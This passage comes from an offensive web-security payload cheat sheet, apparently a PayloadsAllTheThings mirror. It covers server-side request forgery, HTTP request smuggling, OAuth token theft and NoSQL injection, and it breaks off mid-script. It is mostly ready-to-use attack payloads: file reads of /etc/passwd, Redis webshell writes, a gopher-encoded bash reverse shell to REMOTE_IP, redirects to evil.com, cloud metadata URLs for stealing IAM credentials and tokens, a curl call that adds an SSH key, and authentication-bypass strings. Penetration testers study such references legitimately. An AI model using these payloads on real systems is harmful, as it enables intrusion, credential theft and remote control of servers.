For example to rotate between 1.2.3.4 and 169.254-169.254, use the following domain:
make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
```

### Bypassing using jar protocol (java only)

Blind SSRF

```powershell
jar:scheme://domain/path!/ 
jar:http://127.0.0.1!/
jar:https://127.0.0.1!/
jar:ftp://127.0.0.1!/
```

## SSRF exploitation via URL Scheme

### File

Allows an attacker to fetch the content of a file on the server

```powershell
file://path/to/file
file:///etc/passwd
file://\/\/etc/passwd
ssrf.php?url=file:///etc/passwd
```

### HTTP

Allows an attacker to fetch any content from the web, it can also be used to scan ports.

```powershell
ssrf.php?url=http://127.0.0.1:22
ssrf.php?url=http://127.0.0.1:80
ssrf.php?url=http://127.0.0.1:443
```

![SSRF stream](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/SSRF_stream.png?raw=true)

The following URL scheme can be used to probe the network

### Dict

The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:

```powershell
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
```

### SFTP

A network protocol used for secure file transfer over secure shell

```powershell
ssrf.php?url=sftp://evil.com:11111/
```

### TFTP

Trivial File Transfer Protocol, works over UDP

```powershell
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
```

### LDAP

Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.

```powershell
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
```

### Gopher

```powershell
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AH

You didn't say the magic word !


.
QUIT
```

#### Gopher HTTP

```powershell
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body
```

#### Gopher SMTP - Back connect to 1337

```php
Content of evil.com/redirect.php:
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>

Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```

#### Gopher SMTP - send a mail

```php
Content of evil.com/redirect.php:
<?php
        $commands = array(
                'HELO victim.com',
                'MAIL FROM: <admin@victim.com>',
                'RCPT To: <sxcurity@oou.us>',
                'DATA',
                'Subject: @sxcurity!',
                'Corben was here, woot woot!',
                '.'
        );

        $payload = implode('%0A', $commands);

        header('Location: gopher://0:25/_'.$payload);
?>
```

### Netdoc

Wrapper for Java when your payloads struggle with "\n" and "\r" characters.

```powershell
ssrf.php?url=netdoc:///etc/passwd
```

## SSRF exploiting WSGI

Exploit using the Gopher protocol, full exploit script available at <https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi\\_exp.py>.

```powershell
gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py
```

| Header    |           |             |
| --------- | --------- | ----------- |
| modifier1 | (1 byte)  | 0 (%00)     |
| datasize  | (2 bytes) | 26 (%1A%00) |
| modifier2 | (1 byte)  | 0 (%00)     |

| Variable (UWSGI\_FILE) |           |    |              |   |
| ---------------------- | --------- | -- | ------------ | - |
| key length             | (2 bytes) | 10 | (%0A%00)     |   |
| key data               | (m bytes) |    | UWSGI\_FILE  |   |
| value length           | (2 bytes) | 12 | (%0C%00)     |   |
| value data             | (n bytes) |    | /tmp/test.py |   |

## SSRF exploiting Redis

> Redis is a database system that stores everything in RAM

```powershell
# Getting a webshell
url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
url=dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
url=dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
url=dict://127.0.0.1:6379/SAVE

# Getting a PHP reverse shell
gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
gopher://127.0.0.1:6379/_save
```

## SSRF exploiting PDF file

![https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Server%20Side%20Request%20Forgery/Images/SSRF\_PDF.png](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Server%20Side%20Request%20Forgery/Images/SSRF_PDF.png)

Example with [WeasyPrint by @nahamsec](https://www.youtube.com/watch?v=t5fB6OZsR6c\&feature=emb_title)

```powershell
<link rel=attachment href="file:///root/secret.txt">
```

Example with PhantomJS

```js
<script>
    exfil = new XMLHttpRequest();
    exfil.open("GET","file:///etc/passwd");
    exfil.send();
    exfil.onload = function(){document.write(this.responseText);}
    exfil.onerror = function(){document.write('failed!')}
</script>
```

## Blind SSRF

> When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read.

Use an SSRF chain to gain an Out-of-Band output.

From <https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/> / <https://github.com/assetnote/blind-ssrf-chains>

**Possible via HTTP(s)**

* [Elasticsearch](https://github.com/assetnote/blind-ssrf-chains#elasticsearch)
* [Weblogic](https://github.com/assetnote/blind-ssrf-chains#weblogic)
* [Hashicorp Consul](https://github.com/assetnote/blind-ssrf-chains#consul)
* [Shellshock](https://github.com/assetnote/blind-ssrf-chains#shellshock)
* [Apache Druid](https://github.com/assetnote/blind-ssrf-chains#druid)
* [Apache Solr](https://github.com/assetnote/blind-ssrf-chains#solr)
* [PeopleSoft](https://github.com/assetnote/blind-ssrf-chains#peoplesoft)
* [Apache Struts](https://github.com/assetnote/blind-ssrf-chains#struts)
* [JBoss](https://github.com/assetnote/blind-ssrf-chains#jboss)
* [Confluence](https://github.com/assetnote/blind-ssrf-chains#confluence)
* [Jira](https://github.com/assetnote/blind-ssrf-chains#jira)
* [Other Atlassian Products](https://github.com/assetnote/blind-ssrf-chains#atlassian-products)
* [OpenTSDB](https://github.com/assetnote/blind-ssrf-chains#opentsdb)
* [Jenkins](https://github.com/assetnote/blind-ssrf-chains#jenkins)
* [Hystrix Dashboard](https://github.com/assetnote/blind-ssrf-chains#hystrix)
* [W3 Total Cache](https://github.com/assetnote/blind-ssrf-chains#w3)
* [Docker](https://github.com/assetnote/blind-ssrf-chains#docker)
* [Gitlab Prometheus Redis Exporter](https://github.com/assetnote/blind-ssrf-chains#redisexporter)

**Possible via Gopher**

* [Redis](https://github.com/assetnote/blind-ssrf-chains#redis)
* [Memcache](https://github.com/assetnote/blind-ssrf-chains#memcache)
* [Apache Tomcat](https://github.com/assetnote/blind-ssrf-chains#tomcat)

## SSRF to XSS

by [@D0rkerDevil & @alyssa.o.herrera](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)

```bash
http://brutelogic.com.br/poc.svg -> simple alert
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= -> simple ssrf

https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg
```

## SSRF from XSS

### Using an iframe

The content of the file will be integrated inside the PDF as an image or text.

```html
<img src="echopwn" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
```

### Using an attachment

Example of a PDF attachment using HTML

1. use `<link rel=attachment href="URL">` as Bio text
2. use 'Download Data' feature to get PDF
3. use `pdfdetach -saveall filename.pdf` to extract embedded resource
4. `cat attachment.bin`

## SSRF URL for Cloud Instances

### SSRF URL for AWS Bucket

[Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories) Interesting path to look for at `http://169.254.169.254` or `http://instance-data`

```powershell
Always here : /latest/meta-data/{hostname,public-ipv4,...}
User data (startup script for auto-scaling) : /latest/user-data
Temporary AWS credentials : /latest/meta-data/iam/security-credentials/
```

DNS record

```powershell
http://instance-data
http://169.254.169.254
http://169.254.169.254.nip.io/
```

HTTP redirect

```powershell
Static:http://nicob.net/redir6a
Dynamic:http://nicob.net/redir-http-169.254.169.254:80-
```

Alternate IP encoding

```powershell
http://425.510.425.510/ Dotted decimal with overflow
http://2852039166/ Dotless decimal
http://7147006462/ Dotless decimal with overflow
http://0xA9.0xFE.0xA9.0xFE/ Dotted hexadecimal
http://0xA9FEA9FE/ Dotless hexadecimal
http://0x41414141A9FEA9FE/ Dotless hexadecimal with overflow
http://0251.0376.0251.0376/ Dotted octal
http://0251.00376.000251.0000376/ Dotted octal with padding
```

More urls to include

```powershell
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document
```

AWS SSRF Bypasses

```
Converted Decimal IP: http://2852039166/latest/meta-data/
IPV6 Compressed: http://[::ffff:a9fe:a9fe]/latest/meta-data/
IPV6 Expanded: http://[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/
IPV6/IPV4: http://[0:0:0:0:0:ffff:169.254.169.254]/latest/meta-data/
```

E.g: Jira SSRF leading to AWS info disclosure - `https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance`

E.g2: Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/`

### SSRF URL for AWS ECS

If you have an SSRF with file system access on an ECS instance, try extracting `/proc/self/environ` to get UUID.

```powershell
curl http://169.254.170.2/v2/credentials/<UUID>
```

This way you'll extract IAM keys of the attached role

### SSRF URL for AWS Elastic Beanstalk

We retrieve the `accountId` and `region` from the API.

```powershell
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```

We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.

```powershell
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```

![notsosecureblog-awskey](https://www.notsosecure.com/wp-content/uploads/2019/02/aws-cli.jpg)

Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.

### SSRF URL for AWS Lambda

AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment.

```powershell
http://localhost:9001/2018-06-01/runtime/invocation/next
$ curl "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next"
```

Docs: <https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next>

### SSRF URL for Google Cloud

:warning: Google is shutting down support for usage of the **v1 metadata service** on January 15.

Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"

```powershell
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
```

Google allows recursive pulls

```powershell
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
```

Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)

```powershell
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```

Required headers can be set using a gopher SSRF with the following technique

```powershell
gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys%20HTTP%2f%31%2e%31%0AHost:%20metadata.google.internal%0AAccept:%20%2a%2f%2a%0aMetadata-Flavor:%20Google%0d%0a
```

Interesting files to pull out:

* SSH Public Key : `http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json`
* Get Access Token : `http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token`
* Kubernetes Key : `http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json`

#### Add an SSH key

Extract the token

```powershell
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```

Check the scope of the token

```powershell
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  

{ 
        "issued_to": "101302079XXXXX", 
        "audience": "10130207XXXXX", 
        "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", 
        "expires_in": 2443, 
        "access_type": "offline" 
}
```

Now push the SSH key.

```powershell
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" 
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" 
-H "Content-Type: application/json" 
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```

### SSRF URL for Digital Ocean

Documentation available at `https://developers.digitalocean.com/documentation/metadata/`

```powershell
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/ 
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

All in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```

### SSRF URL for Packetcloud

Documentation available at `https://metadata.packet.net/userdata`

### SSRF URL for Azure

Limited, maybe more exists? `https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/`

```powershell
http://169.254.169.254/metadata/v1/maintenance
```

Update Apr 2017, Azure has more support; requires the header "Metadata: true" `https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service`

```powershell
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
```

### SSRF URL for OpenStack/RackSpace

(header required? unknown)

```powershell
http://169.254.169.254/openstack
```

### SSRF URL for HP Helion

(header required? unknown)

```powershell
http://169.254.169.254/2009-04-04/meta-data/ 
```

### SSRF URL for Oracle Cloud

```powershell
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
```

### SSRF URL for Alibaba

```powershell
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
```

### SSRF URL for Kubernetes ETCD

Can contain API keys and internal ip and ports

```powershell
curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true
```

### SSRF URL for Docker

```powershell
http://127.0.0.1:2375/v1.24/containers/json

Simple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
```

More info:

* Daemon socket option: <https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option>
* Docker Engine API: <https://docs.docker.com/engine/api/latest/>

### SSRF URL for Rancher

```powershell
curl http://rancher-metadata/<version>/<path>
```

More info: <https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-service/>

## References

* [AppSecEU15-Server\_side\_browsing\_considered\_harmful.pdf](https://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf)
* [Extracting AWS metadata via SSRF in Google Acquisition - tghawkins - 2017-12-13](https://hawkinsecurity.com/2017/12/13/extracting-aws-metadata-via-ssrf-in-google-acquisition/)
* [ESEA Server-Side Request Forgery and Querying AWS Meta Data](http://buer.haus/2016/04/18/esea-server-side-request-forgery-and-querying-aws-meta-data/) by Brett Buerhaus
* [SSRF and local file read in video to gif converter](https://hackerone.com/reports/115857)
* [SSRF in https://imgur.com/vidgif/url](https://hackerone.com/reports/115748)
* [SSRF in proxy.duckduckgo.com](https://hackerone.com/reports/358119)
* [Blind SSRF on errors.hackerone.net](https://hackerone.com/reports/374737)
* [SSRF on \*shopifycloud.com](https://hackerone.com/reports/382612)
* [Hackerone - How To: Server-Side Request Forgery (SSRF)](https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF)
* [Awesome URL abuse for SSRF by @orange\_8361 #BHUSA](https://twitter.com/albinowax/status/890725759861403648)
* [How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! Orange Tsai](http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html)
* [#HITBGSEC 2017 SG Conf D1 - A New Era Of SSRF - Exploiting Url Parsers - Orange Tsai](https://www.youtube.com/watch?v=D1S-G8rJrEk)
* [SSRF Tips - xl7dev](http://blog.safebuff.com/2016/07/03/SSRF-Tips/)
* [SSRF in https://imgur.com/vidgif/url](https://hackerone.com/reports/115748)
* [Les Server Side Request Forgery : Comment contourner un pare-feu - @Geluchat](https://www.dailysecurity.fr/server-side-request-forgery/)
* [AppSecEU15 Server side browsing considered harmful - @Agarri](http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf)
* [Enclosed alphanumerics - @EdOverflow](https://twitter.com/EdOverflow)
* [Hacking the Hackers: Leveraging an SSRF in HackerTarget - @sxcurity](http://www.sxcurity.pro/2017/12/17/hackertarget/)
* [PHP SSRF @secjuice](https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51)
* [How I convert SSRF to xss in a ssrf vulnerable Jira](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)
* [Piercing the Veil: Server Side Request Forgery to NIPRNet access](https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a)
* [Hacker101 SSRF](https://www.youtube.com/watch?v=66ni2BTIjS8)
* [SSRF脆弱性を利用したGCE/GKEインスタンスへの攻撃例](https://blog.ssrf.in/post/example-of-attack-on-gce-and-gke-instance-using-ssrf-vulnerability/)
* [SSRF - Server Side Request Forgery (Types and ways to exploit it) Part-1 - SaN ThosH - 10 Jan 2019](https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978)
* [SSRF Protocol Smuggling in Plaintext Credential Handlers : LDAP - @0xrst](https://www.silentrobots.com/blog/2019/02/06/ssrf-protocol-smuggling-in-plaintext-credential-handlers-ldap/)
* [X-CTF Finals 2016 - John Slick (Web 25) - YEO QUAN YANG @quanyang](https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/)
* [Exploiting SSRF in AWS Elastic Beanstalk - February 1, 2019 - @notsosecure](https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/)
* [PortSwigger - Web Security Academy Server-side request forgery (SSRF)](https://portswigger.net/web-security/ssrf)
* [SVG SSRF Cheatsheet - Allan Wirth (@allanlw) - 12/06/2019](https://github.com/allanlw/svg-cheatsheet)
* [SSRF’s up! Real World Server-Side Request Forgery (SSRF) - shorebreaksecurity - 2019](https://www.shorebreaksecurity.com/blog/ssrfs-up-real-world-server-side-request-forgery-ssrf/)
* [challenge 1: COME OUT, COME OUT, WHEREVER YOU ARE!](https://www.kieranclaessens.be/cscbe-web-2018.html)
* [Attacking Url's in JAVA](https://blog.pwnl0rd.me/post/lfi-netdoc-file-java/)


# Payloads Included in Server-Side Request Forgery

For anything included in the readme, please visit here:

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery/Files>" %}

<br>


# Request Smuggling

## Summary

* [Tools](broken://pages/LT6Ba2gIythVrQntAifq)
* [CL.TE vulnerabilities](broken://pages/LT6Ba2gIythVrQntAifq)
* [TE.CL vulnerabilities](broken://pages/LT6Ba2gIythVrQntAifq)
* [TE.TE behavior: obfuscating the TE header](broken://pages/LT6Ba2gIythVrQntAifq)
* [References](broken://pages/LT6Ba2gIythVrQntAifq)

## Tools

* [HTTP Request Smuggler / BApp Store](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646)
* [Smuggler](https://github.com/defparam/smuggler)

## CL.TE vulnerabilities

> The front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.

```powershell
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
```

Example:

```powershell
POST / HTTP/1.1
Host: domain.example.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G
```

Challenge: <https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te>

## TE.CL vulnerabilities

> The front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.

```powershell
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0
```

Example:

```powershell
POST / HTTP/1.1
Host: domain.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86
Content-Length: 4
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0

```

:warning: To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.You need to include the trailing sequence \r\n\r\n following the final 0.

Challenge: <https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl>

## TE.TE behavior: obfuscating the TE header

> The front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.

```powershell
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
```

Challenge: <https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header>

## References

* [PortSwigger - Request Smuggling Tutorial](https://portswigger.net/web-security/request-smuggling) and [PortSwigger - Request Smuggling Reborn](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn)
* [A Pentester's Guide to HTTP Request Smuggling - Busra Demir - 2020, October 16](https://blog.cobalt.io/a-pentesters-guide-to-http-request-smuggling-8b7bf0db1f0)


# OAuth

## Summary

* [Stealing OAuth Token via referer](broken://pages/CIDwyKzVxDd8tuCoXgY7)
* [Grabbing OAuth Token via redirect\_uri](broken://pages/CIDwyKzVxDd8tuCoXgY7)
* [Executing XSS via redirect\_uri](broken://pages/CIDwyKzVxDd8tuCoXgY7)
* [OAuth private key disclosure](broken://pages/CIDwyKzVxDd8tuCoXgY7)
* [Authorization Code Rule Violation](broken://pages/CIDwyKzVxDd8tuCoXgY7)
* [Cross-Site Request Forgery](broken://pages/CIDwyKzVxDd8tuCoXgY7)
* [References](broken://pages/CIDwyKzVxDd8tuCoXgY7)

## Stealing OAuth Token via referer

From [@abugzlife1](https://twitter.com/abugzlife1/status/1125663944272748544) tweet.

> Do you have HTML injection but can't get XSS? Are there any OAuth implementations on the site? If so, setup an img tag to your server and see if there's a way to get the victim there (redirect, etc.) after login to steal OAuth tokens via referer

## Grabbing OAuth Token via redirect\_uri

Redirect to a controlled domain to get the access token

```powershell
https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful
https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com
```

Redirect to an accepted Open URL in to get the access token

```powershell
https://www.example.com/oauth20_authorize.srf?[...]&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://evil.com
https://www.example.com/oauth2/authorize?[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F
```

OAuth implementations should never whitelist entire domains, only a few URLs so that “redirect\_uri” can’t be pointed to an Open Redirect.

Sometimes you need to change the scope to an invalid one to bypass a filter on redirect\_uri:

```powershell
https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com
```

## Executing XSS via redirect\_uri

```powershell
https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>
```

## OAuth private key disclosure

Some Android/iOS app can be decompiled and the OAuth Private key can be accessed.

## Authorization Code Rule Violation

> The client MUST NOT use the authorization code more than once.\
> If an authorization code is used more than once, the authorization server MUST deny the request and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.

## Cross-Site Request Forgery

Applications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback (`https://example.com/callback?code=AUTHORIZATION_CODE`). This URL can be used in CSRF attacks.

> The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request.

## References

* [All your Paypal OAuth tokens belong to me - localhost for the win - INTO THE SYMMETRY](http://blog.intothesymmetry.com/2016/11/all-your-paypal-tokens-belong-to-me.html)
* [OAuth 2 - How I have hacked Facebook again (..and would have stolen a valid access token) - INTO THE SYMMETRY](http://intothesymmetry.blogspot.ch/2014/04/oauth-2-how-i-have-hacked-facebook.html)
* [How I hacked Github again. - Egor Homakov](http://homakov.blogspot.ch/2014/02/how-i-hacked-github-again.html)
* [How Microsoft is giving your data to Facebook… and everyone else - Andris Atteka](http://andrisatteka.blogspot.ch/2014/09/how-microsoft-is-giving-your-data-to.html)
* [Bypassing Google Authentication on Periscope's Administration Panel](https://whitton.io/articles/bypassing-google-authentication-on-periscopes-admin-panel/) By Jack Whitton


# NoSQL injection

> NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.

## Summary

* [Tools](broken://pages/edkRWzgGPSKIi2BIQKpX)
* [Exploit](broken://pages/edkRWzgGPSKIi2BIQKpX)
  * [Authentication Bypass](broken://pages/edkRWzgGPSKIi2BIQKpX)
  * [Extract length information](broken://pages/edkRWzgGPSKIi2BIQKpX)
  * [Extract data information](broken://pages/edkRWzgGPSKIi2BIQKpX)
* [Blind NoSQL](broken://pages/edkRWzgGPSKIi2BIQKpX)
  * [POST with JSON body](broken://pages/edkRWzgGPSKIi2BIQKpX)
  * [GET](broken://pages/edkRWzgGPSKIi2BIQKpX)
* [MongoDB Payloads](broken://pages/edkRWzgGPSKIi2BIQKpX)
* [References](broken://pages/edkRWzgGPSKIi2BIQKpX)

## Tools

* [NoSQLmap - Automated NoSQL database enumeration and web application exploitation tool](https://github.com/codingo/NoSQLMap)
* [nosqlilab - A lab for playing with NoSQL Injection](https://github.com/digininja/nosqlilab)

## Exploit

### Authentication Bypass

Basic authentication bypass using not equal ($ne) or greater ($gt)

```json
in DATA
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto

in JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
```

### Extract length information

```json
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
```

### Extract data information

```json
in URL
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```

Extract data with "in"

```json
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```

## Blind NoSQL

### POST with JSON body

```python
import requests
import urllib3
import string
import urllib
